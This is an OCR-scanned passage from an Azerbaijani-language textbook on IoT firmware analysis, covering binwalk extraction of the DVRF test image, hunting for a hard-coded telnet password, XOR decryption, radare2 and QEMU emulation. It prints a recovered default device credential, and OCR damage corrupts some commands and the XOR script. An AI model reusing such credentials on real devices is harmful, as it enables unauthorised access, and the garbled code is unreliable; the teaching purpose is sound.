versiyasinin cihaziniza yiiklondiyini xatirlaya bilorsiniz. Bu, aslinds, homin
firmware faylinin cihazin yaddasina yazilmasidir.

Firmware fayllar1 ¢ox zaman miixtolif bolmalordon ibarat olur. Bu fasildo biz
osas digqoti fayl sistemi boOlmosinin analizino yonoldocoyik, c¢ilinki firmware
tohliikasizliyi tigiin an kritik monba el buradir.

e Fayl Sisteminin Avtomatlasdirilmis Cixarilmasi

Artig bu morholoyo godor olinizlo firmware faylindan fayl sistemini
cixarmagin kifayot qodor vaxt aparan vo tokrarlanan proses oldugunu yaqin ki, hiss
etmisiniz. Bu metod hor firmware ligiin ayrica totbiq olundugda yorucu vo zaman
itkisino sobab ola bilor. Buna géro do firmware tohlilindo avtomatlagdirma zorurati
meydana ¢ixir.

Binwalk aloti bu ehtiyac1i qarsilamaq iiglin Craig Hefther torofindon
hazirlanmigdir. Bu alot yuxarida ol ilo totbiq etdiyimiz biitiin addimlar
avtomatlagdirir vo firmware faylindan fayl sistemini ¢ixarmaga imkan verir.
Binwalk firmware faylindaki imzalar1 6z molumat bazasi ilo miiqayise edir vo bizo
homin hissalorin toxmini yerlogsmasini bildirir. On vacib cohatlorindon biri do odur
ki, Binwalk ictimaiyyoto agiq olan oksor firmware fayllar1 ilo problemsiz isloyir.

Binwalk-un Ubuntu sistemindo qurulmasi kifayot qodor sadodir:

e git clone https://github.com/devttys0/binwalk.git
¢ cd binwalk-master
¢ sudo python setup.py

Indi iso yeni bir firmware fayli yiikloyib Binwalk vasitosilo fayl sistemini
cixaraq vo olava tohlillor aparaq. Bu niimunods istifads etdiyimiz firmware Damn
Vulnerable Router Firmware (DVRF) adlanir vo (@blackOwl torofindon
hazirlanmigdir.

Firmware faylin1 yiiklomak ticiin:

e wget --no-check-certificate https://github.com/praetorian-
inc/DVRF/blob/master/Firmware/DVRF v03.bin?raw=true
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Firmware fayl artiq hazirdirsa, Binwalk-u 1o salib fayl sistemindoki hissalori
tohlil edok:

¢ binwalk -t dvrf.bin

Buradaki -t parametri Binwalk-un ¢ixis naticasini cadval formatinda togdim

etmosini tomin edir. Bu omri icra etdikdo alinan notico asagidaki sokildo olacaq
(Sakil 9.26).

oit@ubuntu:~/Downloads$ binwalk -t dvrf.bin

DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 BIN-Header, board ID: 1550, hardware version:
4702, firmware version: 1.0.0, build date:
2012-02-08

B2 0x20 TRX firmware header, little endian, image size:

7753728 bytes, CRC32: 0x436822F6, flags: 6x0,
version: 1, header size: 28 bytes, loader
offset: 0x1C, linux kernel offset: 0x192708,
rootfs offset: 0x0

60 0x3C gzip compressed data, maximum compression, has
original file name: "piggy", from Unix, last
modified: 2016-03-09 08:08:31

1648424 0x192728 Squashfs filesystem, little endian, non-standard
signature, version 3.0, size: 6099215 bytes, 447
inodes, blocksize: 65536 bytes, created:
2016-03-10 04:34:22

Sakil 9.26. Binwalk ila fayl sisteminin ¢ixarilmasti

Binwalk-un naticosindon gors bilarik ki, firmware igorisinds dord asas bolma
movcuddur:
1. Bin header
2. Firmware header
3. Gzip sixilmig molumat
4. Squashfs fayl sistemi
Bundan olavo, Binwalk firmware haqqinda olavo texniki molumatlar da
togdim edo bilor, mosolon entropiya analizi. Entropiya analizi molumatlarin
sifrolonmis vo ya sadoaco sixilmis olub olmadigini anlamaqda bizo komok edir.
Novboti addimda bu firmware lizorindo entropiya analizi aparaq vo naticolori
nozardon kegirak:

¢ binwalk -E dvrf.bin

Entropiya analizi bizo firmware faylinda molumatlarin sifrolonib-
sifrolonmodiyini toyin etmok imkani verir. Sokil 9.27-do gordiiyiimiiz kimi, analiz
naticosinds ortada miioyyon doyiskonliys sahib bir xott miisahido olunur. ©gor xott
tamamilo diiz olsaydi, bu, molumatlarin yiiksok ehtimalla sifrolondiyini gostorardi.
Halbuki bu voziyyotdo doyiskon xott bizo firmware-in sadoco sixildigini vo
sifrolonmadiyini gostarir.
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Sakil 9.27. Entropiya analizinin naticasi

Artiq olimizda sifrolonmoamis molumatlarin oldugunu tesdiqlomisik. ©vvalki
Binwalk omri ilo toyin etdiyimiz kimi, bu firmware-do istifado edilon fayl sistemi
SquashFS-dir. Bu molumatlara osaslanaraq binwalk alstinin -e parametrindon
istifado etmoklo fayl sistemini firmware tosvirindon ¢ixara bilorik:

¢ binwalk -e dvrf.bin

Bu omr icra edildikdo Binwalk avtomatik olaraq firmware faylini ¢ixarmaq
ticlin yeni bir qovluq yaradir (Sokil 9.28). Bu qovluq firmware adinin avvslino alt
xot () vo sonuna .extracted olavo etmoklo adlandirilir (mosolon:

_dvrf.bin.extracted).
olt@ubuntu:~/Downloads$ binwalk -e dvrf.bin

DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 BIN-Header, board ID: 1550, hardware version: 4702
, firmware version: 1.0.0, build date: 2012-02-08

32 0x206 TRX firmware header, little endian, image size: 77

53728 bytes, CR(32: 0x436822F6, flags: 0x0, version: 1, header size: 28 bytes, 1
oader offset: Ox1C, linux kernel offset: 0x192708, rootfs offset: Ox0

60 0x3C gzip compressed data, maximum compression, has ori
ginal file name: "piggy", from Unix, last modified: 2016-03-09 08:08:31
1648424 0x192728 Squashfs filesystem, little endian, non-standard s

ignature, version 3.0, size: 6099215 bytes, 447 inodes, blocksize: 65536 bytes,
created: 2016-03-10 04:34:22

Sakil 9.28. Binwalk vasitasilo DVRF firmware-dan fayl sisteminin ¢ixarilmasi

Bu qovlugun i¢indo asagidaki fayllar vo qovluglar olacaq (Sakil 9.29):
» .squashfs fayl sistemi
« Piggy adli olavo fayl vo ya fayl sistemi hissosi
» squashfs-root — tam fayl sistemi buradadir
squashfs-root qovluguna kecdikdo, firmware-do movcud olan biitiin fayl
sistemino giris aldo etmis olurugq.
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oit@ubuntu:~/Downloads/ dvrf.bin.extracted/squashfs-root$ ls -la
total 56

drwxr-xr-x 14 oit oit 4096 Mar 9 2016 .

drwxrwxr-x 3 oit oit 4096 Mar 20 03:59 ..

drwxr-xr-x 2 oit oit 4096 Mar 9 2016 bin

drwxr-xr-x 2 oit oit 4096 Mar 9 2016 dev

drwxr-xr-x 3 oit oit 4096 Mar 9 2016 etc

drwxr-xr-x 3 oit oit 4096 Mar 9 2016 lib

Lrwxrwxrwx 1 oit oit 9 Mar 20 03:59 [N ->
drwxr-xr-x 2 oit oit 4096 Mar 9 2016 mnt

drwxr-xr-x 2 oit oit 4096 Mar 9 2016 proc

drwxr-xr-x 4 oit oit 4096 Mar 9 2016 pwnable

drwxr-xr-x 2 oit oit 4096 Mar 9 2016 shin

drwxr-xr-x 2 oit oit 4096 Mar 9 2016 sys

drwxr-xr-x 2 oit oit 4096 Mar 9 2016 tmp

drwxr-xr-x 6 oit oit 4096 Mar 9 2016 usr

lrwxrwxrwx 1 oit oit 7 Mar 20 03:59 [l ->
drwxr-xr-x 2 oit oit 4096 Mar 9 2016 www

Sakil 9.29. Firmware-in tam fayl sistemina ¢ixig
Firmware Daxili Strukturu

Bu morhslods firmware-in hansi strukturlardan ibarst oldugunu vo "piggy"

kimi ovvallor namalum olan saholorin noayi ifado etdiyini anlamagq tigiin bir qodor
dorin biliklor oldo etmoyimiz vacibdir. Oslindo firmware-in i¢indo bir ne¢o asas
komponent yerlosir vo bunlar asagidakilardir:

Bootloader: Bootloader, qurasdirilmis (embedded) sistemin igo salinmasinda
osas rol oynayir. O, sistemin biitiin hardware komponentlorini igo salmagq iigiin
talab olunan ilkin amrlari icra edir vo lazimi resurslarin ayrilmasini tomin edir.
Kernel (Niiva): Kernel qurasdirilmis sistemin osas komponentlorindon
biridir. Texniki olaraq kernel hardware vo program tominati arasinda interfeys
rolunu oynayan miihiim moduldur.

Fayl Sistemi (File System): Fayl sistemi, firmware-in biitiin fayllarini,
kitabxanalarini, skriptlorini vo digor zoruri sistem komponentlorini ehtiva
edir. Bura, homg¢inin veb serverlor, soboko xidmotlori vo istifadaci
interfeyslori do daxil ola bilor.

Bu komponentlor asasinda qurasdirilmig sistemin tipik yiliklonmo prosesi

asagidaki ardicilliqla bas verir:

1.
2.

)}

Bootloader lazimi hardware vo sistem komponentlorini igo salir.

Bootloader, kernel-in fiziki iinvanina yonlondirilir vo device tree (cihaz agact)
ilo birgo kernel yiiklonir.

Kernel, otiiriilon iinvandan yiiklonir vo sistemi islomak tii¢iin vacib proseslori
vo xidmaotlori iso salir.

Kernel yiiklondikdon sonra bootloader funksiyasini bitirir.

Fayl sistemi montaj olunur.

Kernel fayl sistemini montaj etdikdon sonra init adli istifado¢i proqrami iso
salinir.
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Bu gedisat bizo gostarir ki, agor biz bootloader-o ¢ixis aldo eds bilsok vo ya
0z bootloader-imizi hodof cihazda yiikloyo bilsok, bu zaman cihazin biitiin
foaliyyotini 0z nozarotimizo ala bilorik. Bu, hatta orijinal kernel ovozine 06z
doyisdirilmis kernel-1 yiiklomoklo miimkiindiir. Bu ciir smaqlar faydali veo
oyradicidir, lakin bu kitabin mévzusu xaricindadir.

e Sabitlosdirilmis Giris Malumatlar1 (Hard-Coded Secrets)

Firmware fayl sistemini ¢cixarmagin asas mogsadlorindon biri sabitlogdirilmis
(hard-coded) molumatlari — yoni, cihazin i¢indo saxlanilan hossas molumatlari
tapmaqdir. Bunlara asagidakilar daxildir:

= Sabit istifadogi ad1 va sifralor (hard-coded credentials)
= Arxa girislor (backdoor access)
= Hossas URL-lor
= Access token-lor
= API agarlar1 vo sifrlomo acarlar
= Sifrloms alqoritmlori
= Yerli fayl yollar1 (local pathnames)
= Otraf miihit doyisonlori
= [dentifikasiya vo avtorizasiya mexanizmlori
Olbatts ki, bu siyahi cihazin tipina gors doyise bilar.

Bu misalda telnet xidmotino aid sabit sifroni tapmaga ¢alisacagiq. Ogor belo
bir parol varsa vo uzaqdan qosulmani tomin edirso, bu olduqca ciddi zoiflik hesab
olunur. Masalon, usaq kameralarinda bu, boytik tohliiko yarada bilor: kimso qosulub
videonu izloyo, hotta yazin1 dayandira bilor.

Firmware qovluguna daxil oldugdan sonra biitiin fayllar i¢indo telnet acar
sOzlinii axtarmagq ti¢iin grep alotindon istifado edo bilorik:

e grep -nr 'telnet'

- grep -inr 'telnet' .
Binary file ./usr/sbin/telnetd matches
Binary file ./usr/lib/tc/q_netem.so matches

./www/__adv_port.php:22: <option value
='Telnet'>Telnet</option>

./etc/scripts/system.sh:26: # start telnet daemon
.Jetc/scripts/system.sh:27: Jetc/scripts/misc/telnetd.sh > /dev/consol
&

.Jetc/scripts/misc/telnetd.sh:3:TELNETD="rgdb -g /sys/telnetd’
.Jetc/scripts/misc/telnetd.sh:4:i1f [ "STELNETD" = "true" ]; then
.Jetc/scripts/misc/telnetd.sh:5: echo "Start telnetd ..." > /dev/conso
le

.Jetc/scripts/misc/telnetd.sh:8: telnetd -1 "/usr/sbin/login"
-u Alphanetworks:$image_sign -i S1f &

.Jetc/scripts/misc/telnetd.sh:10: telnetd &
./etc/defnodes/S11setnodes.php:39:set("/sys/telnetd", "true

’

Sakil 9.30. Telnet ila bagh sabitlaogdirilmis malumatlarin tapilmasi
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Noticolora asason, /etc/scripts/telnetd.sh fayli telnet servisini bagladan
skriptdir. system.sh adl1 fayl i1so onu ¢agirir (Sakil 9.31).

Jetc/templates/lan.sh start /dev/console

enable LAN ports ... /dev/console
/etc/scripts/enlan.sh /dev/console

start WLAN ... /dev/console
/etc/templates/wlan.sh start /dev/console

start Guest Zone /dev/console
/etc/templates/gzone.sh start - /dev/console
/etc/templates/enable_gzone.sh start /dev/console

start RG ... /dev/console
/etc/templates/rg.sh start /dev/console

start DNRD ... /dev/console
Jetc/templates/dnrd.sh start /dev/console
# start telnet daemon
/etc/scripts/misc/telnetd.sh /dev/console
# Start UPNPD

rgdb -i -g /runtime/router/enable e 1

start UPNPD ... /dev/console

Jetc/templates/upnpd.sh start /dev/console
29,1-8 11%

Sakil 9.31. Telnet giris malumatlarinin manbayi
system.sh faylini nano redaktoru ilo agsaq, i¢indo telnetd.sh skriptine
yonlandiran bir omr oldugunu goérarik:

B! /bin/sh
ge_sign= /etc/config/image_sign
NETD="rgdb -g /sys/telnetd
STELNETD "true" |;
Start telnetd ... /dev/console
Jusr/sbin/login :
Lf="rgdb -1 -g /runtime/layout/lani
telnetd Jusr/sbin/login
S1f &
telnetd &

Sakil 9.32. Telnet sifrasinin skript icinda tayin olunmast

Bu skriptdo $password doyisoni /etc/config/image sign faylinin igindoki
molumatlarla toyin edilir. O fayl acdiqda iso bela bir natico ilo qarsilasirq:

e cat /etc/config/image sign

cat etc/config/image_sign
wrgn23_dlwbr_dir300b

Sakil 9.33. Telnet iiciin tayin olunmus sabit sifra

Noticodo goriirik ki, bu cihaz igiin istifado¢i adi root, sifro iso
wrgn23 dlwr dir300b olaraq toyin edilib. Bu molumat homin modelin biitiin
cihazlarinda ortaq ola bilor vo bu da onu tohliikesizlik baximindan ciddi zoaiflik
halina gotirir.
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9.7.1. Sifralonmis Firmware-lor

[oT ekosisteminds isloyarkon, bazaon sifrolonmis firmware fayllari ilo qarsilasa
bilarsiniz. Bu sifrolonmonin ndvii firmware-don asili olaraq doyise bilor. Bozi
hallarda firmware yalniz XOR ilo, bozi hallarda iso daha inkisaf etmis AES
(Advanced Encryption Standard) kimi alqoritmlarla sifrolonmis ola bilor. Golin bu
hissodo XOR ilo sifrolonmis firmware-lorin analizino baxaq vo bu fayllardan
zoifliklori neco ¢ixara bilocoyimizi dyronak.

Bu tacriibs {igiin bizs kitabla birlikds verilmis “encrypted.bin” adli firmware
fayli lazim olacagq.
[https..//www.icloud.com/iclouddrive/048DAbEEYFSmWJpuSpAiCd8dgtiot sec la
bs]

Bu zoiflik ilk dofo Roberto Paleari (@rpaleari) vo Alessandro Di Pinto
(@adipinto) torofindon askarlanmisdir.

[Ik addim olaraq, binwalk vasitosilo bu faylda hans1 bélmalorin oldugunu
oyronok (Sakil 9.34):

¢ binwalk encrypted.bin

bimwalk encrypted.bin

DECIMAL HEXADECIMAL DESCRIPTION

Sakil 9.34. Encrypted firmware faylinda binwalk ¢ixisi

Gordiiytimiiz kimi, binwalk bu firmware {izorindo heg bir konkret bdlmo agkar
etmir. Bu 1so asagidaki iki ehtimaldan birino isars edir:
1. Firmware istehsalgirya moxsusdur vo taninmayan bir fayl sistemi vo bdlmo
qurulusuna malikdir.
2. Firmware sifrolonmisdir.
Ik yoxlamamiz XOR sifraloms olub olmadigmni miioyyonlosdirmak olacag.
Bunun {i¢iin hexdump ilo analiz apararaq tokrarlanan niimunslori miisahids edocoyik
(Sokil 9.35). Niimuna:

¢ hexdump -C encrypted.bin | tail -n 10

- hexdump -C encrypted.bin | tail -n 10
0033ffd0 @3 47 30 66 1d 65 88 95 05 0a 2b 49 4e 4B 15 45 |.GOf.e....+INH.E|
0033ffe0 51 23 5d 96 7b O0b 24 6b e6 80 cl a5 af 1c 84 0d |Q#].{.8k........ |
0033fff0 cl 48 fa 28 62 5f 7a 1a 16 b2 d7 d8 79 5¢ 8 89

00340000
00340010
00340020
00340030
00340040

*

00340080

88 44 a2 dl a9 d0 73 7b
6d Sb 84 bB 56 84 57 ab
b2 6a bc dl 68 b4 5a 2d
96 44 a2 dl 68 b4 5a 2d
88 44 a2 d1 68 b4 S5a 2d

88 45 1f d3 f0 bc Sa 2d
8a 44 a2 d1 68 b5 03 77
8c c4 a2 d1 68 b4 f2 02
88 44 a2 dl 68 b4 S5a 2d
88 44 a2 dl 68 b4 5a 2d

|.M.(b_z..... y\..

Sakil 9.35. Sifraloma analiz iiciin hexdump ¢ixisi
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Bu ¢ixisda 88 44 a2 d1 68 b4 5a d2 niimunasinin tokrarlanmasi goriiniir. Bu
biza gostorir ki, bu simvollar XOR acar1 ola bilor. Bu halda asagidaki Python
skriptindon istifade edorak firmware-i desifro edirik:

e import os
e import sys

e key = "key-here".decode ("hex")
e data = sys.stdin.read()

° r - mww

e for i in range(len(data)):

D c = chr(ord(data[i]) * ord(key[i % len(key)]))
) r += ¢c

e sys.stdout.write(r)

Bu skripti icra etdikdon sonra decrypted.bin adli fayl alacagiq:

e cat encrypted.bin | python decrypxor.py > decrypted.bin

Sonra yenidon binwalk ilo yoxlayiriq (Sokil 9.36):

¢ binwalk -E decrypted.bin

Gordiiytimiiz kimi, artiq binwalk miixtalif fayl sistemlorini vo bdlmaolori
mioyyon edo bilir. Squashfs sistemi oldugunu tosdiq etdikdon sonra, onu ¢ixarmaq
ticlin (Sokil 9.37):

¢ binwalk -e decrypted.bin

cat encrypted.bin | python decryptxor.py > decrypted.bin
binwalk -t decrypted.bin

DECIMAL HEXADECIMAL DESCRIPTION
128 0x80 ulsage header, header size: 64 bytes, header CRC: Ox9B5FOE3, created: 2016~
01-06 11:28:02, image size:

1428245 bytes, Data Address: 0x80000000, Entry Polnt: 0x802734F0, data CRC:
0x99909F4A, 05: Linux, CPU

MIPS, image type: 05 Kernmel Image, compression type: Lima, (sage name: “Lin
ux Kernel Image“

192 oxCo LZMA compressed data, properties: 0x50, dictiomary size: 33554432 bytes, un
compressed size: 4242824 bytes
1429632 0x150080 Squashfs filesysteam, little endlan, version 4.0, compression:xz, size: 1978

294 bytes, 131 (nodes,
blocksize: 131072 bytes, created: 2016-01-06 11:27:44

Sakil 9.36. Decrypted firmware faylinda binwalk naticasi
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-> ' binwalk -e decrypted.bin
DECIMAL HEXADECIMAL DESCRIPTION

128 0x80 ulmage header, header size: 64 by
01-06 11:28:02, image size: 1428245 bytes, Data Address: 0x800€C
Xx999D9F4A, 0S: Linux, CPU: MIPS, image type: 0S Kernel Image, ¢
Kernel Image"

192 0xCo LZMA compressed data, properties:
compressed size: 4242824 bytes

1429632 0x15D080 Squashfs filesystem, little endiz
294 bytes, 131 inodes, blocksize: 131072 bytes, created: 2016-€

-> . c¢d _decrypted.bin.extracted/squashfs-root

-> % 1s -la

total 600

drwxr-xr-x 8 oit oit 4096 Jan 6 2016
drwxrwxr-x 3 oit oit 4096 Jul 24 01:19

drwxr-xr-x 2 oit oit 4096 Jan 6 2016
druxr-xr-x 2 oit olt 4096 Jan 6 2016
-rwxr-xr-x 1 oit oit 581632 Jan 6 2016
drwxr-xr-x 6 oit oit 4096 Jan 6 2016
drwxr-xr-x 3 oit olt 4096 Jan 6 2016
drwxr-xr-x 2 oit oit 4096 Jan 6 2016
drwxr-xr-x 5 oit oit 4096 Jan 6 2016

Sakil 9.37. Decrypted firmware-nin fayl sistemi

Oldo etdiyimiz fayllardan biri ess apps.sqsh adli Squashfs faylidir. Onu
unsquashfs ilo aga bilarik (Sokil 9.38):

e unsquashfs ess_apps.sqgsh

- unsquashfs ess_apps.sqsh
Parallel unsquashfs: Using 2 processors
143 {nodes (146 blocks) to write

[svssssssssansensnsssssnsnsnnnnnnnnn =aw - =|] 146/146 100%
created 125 files

created 9 directories

created 18 syslinks

created 0 devices

created 0 fifos

Sakil 9.38. Squashfs fayl sisteminin ¢ixarilmasi

Fayl sistemini ¢ixardigdan sonra igorisindoki struktur asagidaki kimidir:

[ L1}

[TTTT

[

->

Sakil 9.39. Squashfs fayl sisteminin strukturu

Buradaki libbox.so kimi kitabxanalar maraqli ola bilor. Onlar1 analiz etmak
liclin radare?2 alotindon istifads edirik (Sokil 9.40):
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e radare2 -a mips -b32 libbox.so

Radare? i¢indo avtomatik analiz iigiin:

e aaa

Sonra biitiin funksiyalar1 siyahiya salmagq ti¢iin:

e afl

[6x00004720]> [l

0x00004720 193232 5 sym.load def for structure item
0x00005a24 133768 3 sym.dbox _set lan_ip address
0x0000a2af 269888 168 fcn.0000a2af

0x0000aed8 157260 3 sym.dbox get wan subnet

0x0000208f 64 1 fcn.0000208f

0x000020cf 4096 1 fcn.000020cf

0x000030cf 4096 1 fcn.000030Cf

0x000040cf 289940 495 fcn.000040cf

0x0000c104 196768 11 sym.dbox conv_ip part to string
0x0000ada8 20 1 sym.dbox_get wan_mask

0x0000adbc 193240 3 fcn.0000adbc

0x0000ac88 193248 7 sym.dbox get wlan x mac by if
0x00005298 168172 5 sym.dbox get enabled item count by prefix
0x0000a878 193236 3 sym.dbox get lan_ip

0x0000ae48 1 sym.dbox_get_wan_ip

0x0000ae50 12 1 fcn.0000ae50

0x0000ae5c 193246 3 fcn.000GaeSc

0x00006248 8 1 sym. dbox default dat file

0x00006250 193240 7 fcn.00006250

0x00009210 193240 7 sym.def alg support

0x00004dbc 193252 sym.dbox_find macfilter index by mac
0x00009f40 159908 sym.dbox_get mac_str_value
0x000053b0 196328 sym.dbox_roll_back

0x0000al6c 193252 sym.dbox_get enum data

0x000047e8 193248 sym.dbox restore default

0x00005690 193232 sym.dbox_mac_addr_remove colon
0x0000513c 206468 sym.dbox_get was modified group mask
0x0000e17f 4060 1 fcn.0000e17f

0x0000f15b 56 1 fcn.000Of15b

Sakil 9.40. radare?2 vasitasila funksiyalarin siyahiya alinmasi

HUNUNWL

=

Funksiya adlarinda maraqli sotrlori tapmaq iigiin ~ isarasi ilo grep istifado edo
bilorik. Masalon:

e afl~wifi
e« afl~gen
e afl~get

[0x00004720]> afl-wifi

Px0000d920 157248 3 sym.imp.tbox gen wifipwd by flash
[0x00004720]> afl~gen
Px0000d920 157248 3
Px0000d910 157248 3
[6x00004720])> afl~get
Px0000aed8 157260 3 sym.dbox get wan subnet

Px0000ada8 20 1 sym.dbox get wan mask

Px0000ac88 193248 7 sym.dbox get wlan x mac by if

Px00005298 168172 5 sym.dbox get enabled item count by prefix
Px0000a878 193236 3 sym.dbox get lan_ip

Px0000aed48 8 1 sym.dbox get wan ip

Px00009f40 159908 3 sym.dbox get mac str value

Px0000al6c 193252 5 sym.dbox get enum data

Px0000513c 206408 11 sym.dbox get was modified group mask
x0000b0b4 26 1 sym.dbox_get_wan_dns

Px0000adfc 196308 3 sym.dbox get wan fake status

Px0000b43c 159908 3 sym.dbox get wan all config

Px0000aef® 20 1 sym.dbox get wan dev

Px0000ac40 193248 9 sym.dbox_get wlan_x mac

Px000050ac 193252 5 sym.dbox_get enum data_index

Px00009fcc 193252 5 sym.dbox get text value

Px0000a120 193244 3 sym.dbox get enum type

Px0000abcd 20 1 sym.dbox get lan all config

Px0000af08 193232 9 sym.dbox_get wan_x_phy dev

Px0000abd8 4 1 sym.dbox_get default wan_id

Px0000abf8 193248 7 sym.dbox get wlan mac

Px00005054 193244 3 sym.dbox get enum data size

Px0000b0d4 193236 7 sym.dbox get wan x config by name
Px0000abed 20 1 sym.dbox get wan gateway

Sakil 9.41. Pincode ila bagh funksiyanin tapilmasi
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9.7.2. Firmware Fayl Sisteminin Emulyasiyas1 vo Tohlili

Firmware fayl sistemini ¢ixardiqdan sonra tohliikasizlik tadqiqatgisi kimi
atacagimiz ilk addimlardan biri, fordi ikili fayllara baxmaq vo miimkiin zaifliklori
mioyyon etmokdir.

[oT cihazlari miixtolif arxitekturalarda islodiyindon vo  adoton
kompiiterlordoki x86 arxitekturasinda deyil, ARM, MIPS, PowerPC vo s. kimi
platformalarda foaliyyat gostordiyindon, bu ikili fayllar1 analiz etmak {i¢lin uygun
alotlordon istifado etmoliyik. Bu mogsadle radare2, IDA Pro, Hopper kimi
disassembler vo analiz alatlorindon istifads olunur.

Bu bdlmada iso biz yalniz ikili faylin emulyasiyasi ilo maraqlanacagiq. ikili
fayl basqa arxitekturaya aid olsa da, biz onu QEMU adli emulyator vasitasilo 6z
platformamizda ¢aligdira bilorik. Bunun iigiin ovvolco asagidaki kimi QEMU
komponentlorini sistemimiza quragdiririq:

¢ sudo apt-get install gemu gemu-common gemu-system gemu-
system-arm \

¢ gemu-system-common gemu-system-mips gemu-system-ppc gemu-
user \

¢ gemu-user-static gemu-utils

Firmware fayl sistemino Binwalk vasitosilo baxdiqda asagidaki qurulusu
miusahido edirik (Sokil 9.42):

nloads/_dvrf.bin.extracted/squashfs-root 1s

redia vari
Sakil 9.42. DVFR firmware fayl sisteminin qurulusu

Qurasdirilmig fayllardan busybox ikili faylini analiz etmok iigiin asagidaki
readelf omri icra olunur:

e readelf -h bin/busybox

Noticodo arxitektura olaraq MIPS agkarlanir (Sokil 9.43).

MIPS arxitekturasint dostokloyon QEMU ikili faylin1 (qemu-mipsel-static)
tapib firmware qovluguna kopyalayiriq:

¢ which gemu-mipsel-static
e sudo cp /usr/bin/gemu-mipsel-static .
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~/Downloads/_dvrf.bin.extracted/squashfs-root readelf -h bin/busybox

ELF Header:
Magic: 7f 45 4c 46 91 91 ©1 00 00 00 00 20 90 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
0S/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: ox1
Entry point address: 0x405a70
Start of program headers: 52 (bytes into file)
Start of section headers: 395948 (bytes into file)
Flags: 0x50001007, noreorder, pic, cpic, 032, mips32
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 6
Size of section headers: 40 (bytes)
Number of section headers: 27

Section header string table index: 26

Sakil 9.43. DVFR iiciin arxitekturanin tayin edilmasi — MIPS
e Emulyasiya zamani qarsilasilan problem va halli
QEMU ilo busybox proqramini islotmoays ¢alisdiqda asagidaki xota alinir:
e /l1lib/1d-uClibc.so.0: No such file or directory

Bu, proqramin //ib yerina firmware i¢indoki /ib/ qovluguna baxmali oldugunu
gostorir (Sokil 9.44, 9.45).

Downloads/_dvrf.bin.extracted/squashfs-root sudo ./qemu-mipsel-static ./bin/busybox
[sudo] password for oit:
/1ib/1d-uClibc.s0.08: No such file or directory

Sakil 9.44. Emulyasiya zamani xata

[ nload avrtT.m ext icted qua ¥ I ¢ IS 1ib
1d-uClibec.so.@

Sakil 9.45. ld-uClibc.so.0 kitabxanasinin mévcudlugu

Bunun {i¢lin chroot adli alotdon istifados edilir. chroot, cari qovlugu proqramin
"root" miihiti kimi miioyyan edir vo bununla program lazimi kitabxanalari tapir.

e sudo chroot . ./gemu-mipsel-static ./bin/busybox
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~/Downloads/_dvrf.bin.extracted/squashfs-root which gemu-mipsel-static
/usr/bin/qemu-mipsel-static

~/Do! dvrf.bin.extracted/squashfs-root sudo cp /usr/bin/gemu-mipsel-static .

-/Downloads sudo chroot . ./gqemu-mipsel-static ./bin/busybox

dvrf.bin.extracted/squashfs-root

BusyBox v1.7.2 (2016-83-09 22:33:37 CST) multi-call binary
Copyright (C) 1998-2006 Erik Andersen, Rob Landley, and others.
Licensed under GPLv2. See source distribution for full notice.

Usage: busybox [function] [arguments]...
or: [function] [arguments]...

BusyBox is a multi-call binary that combines many common Unix

utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as!

Currently defined functions:
[, ([, addgroup, adduser, arp, basename, cat, chgrp, chmed, chown, clear, cp, cut, delgroup,
deluser, df, dirname, dmesg, du, echo, egrep, env, expr, false, fdisk, fgrep, find, free,
fsck.minix, getty, grep, halt, head, hostid, id, ifconfig, insmod, kill, killall, klogd,
less, 1n, logger, login, logread, 1ls, lsmod, mkdir, mkfifo, mkfs.minix, mknod, more,
mount, msh, mv, netstat, passwd, ping, pingé, pivot_root, poweroff, printf, ps, pwd,
rdate, reboot, reset, rm, rmdir, rmmod, route, sh, sleep, su, sulogin, swapoff, swapon,
sysctl, syslogd, tail, telnet, telnetd, test, top, touch, true, umount, uname, uptime,
usleep, wget, xargs, yes

Sakil 9.46. Emulyasiyanin ugurlu tamamlanmast

9.7.3. Biitov Firmware-in Emulyasiyasi

Firmware-in tok bir binar faylin1 emulyasiya etdikdon sonra ndvboti addim

blitov firmware image-in emulyasiyasidir. Bu, asagidaki imkanlar1 verir:

—

W N

Firmware-doki biitiin binar fayllara ¢ixis imkani.

Firmware iizorindo soboko osasli hiicumlarin aparilmasi.
Istonilon binar fayli debugger ilo analiz etmak.

Web interfeysin islodilmasinin tomin olunmasi (ogor varsa).
Firmware-i uzagdan istismar etmo todqiqati {i¢iin platforma.

Lakin bu proses bir ne¢o ¢otinliklo miisayiot oluna bilor:

Firmware forqli arxitektura iigiin nozordos tutulub.
Boot zamani slave konfiqurasiya vo NVRAM molumatlari talob oluna bilor.
Firmware-in iso diismosi fiziki avadanliq komponentlorindon asili ola bilar.

Bu problemlarin 6hdasindon necd galmok olar?

Arxitektura problemi artiq avvolki bélmods gemu ilo hoall edilmisdi.
NVRAM asililigi iiclin  sado, lakin effektiv bir iisul mdvcuddur:
proxy/interceptor istifado edorok firmware-in sorgularini dinloyir vo 0z
cavablarimizi gondoririk. Bu iisul, firmware-i sanki real NVRAM cavab verir
kimi inandirir.

Omoliyyat1 asanlasdirmaq ti¢iin Firmware Analysis Toolkit (FAT) adli

skript paketindon istifado edilir. Bu, firmadyne adli emulyasiya alati iizorindo
qurulmusdur.
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e git clone --recursive https://github.com/attify/firmware-
analysis-toolkit.git

¢ cd firmware-analysis-toolkit

e sudo ./setup.sh

GNU nano 2.2.6 File: firmadyne.config
B! /bin/sh

# uncomment and specify full path to FIRMADYNE repository
FIRMWARE_DIR= /home/oit/Downloads/firmware-analysis-toolkit/

# specify full paths to other directories
BINARY_DIR=${FIRMWARE_DIR}/binaries/
TARBALL_DIR=${FIRMWARE DIR}/images/
SCRATCH_DIR=${FIRMWARE DIR}/scratch/
SCRIPT_DIR=${FIRMWARE DIR}/scripts/

Sakil 9.47. firmadyne.config faylinda FIRMWARE DIR dayarinin tayin edilmasi

Firmware-in yolunu va cihazin brend admi daxil edorok FAT skriptini is9
saliriq (Sakil 9.48):

e sudo ./fat.py

JJtfat.py oitPubuntu
Welcome to the Firmware Analysis Toolkit ve.1
Offensive IoT Exploitation Training http://offensiveiotexploitation.com
By Attify - https://attify.com Pattifyme
Enter the name or absolute path of the firmmware you want to analyse : Dlink_firmware.bin
Enter the brand of the firmware : Dlink
Dlink_firsware.bin
Now going to extract the firmmare. Hold on..
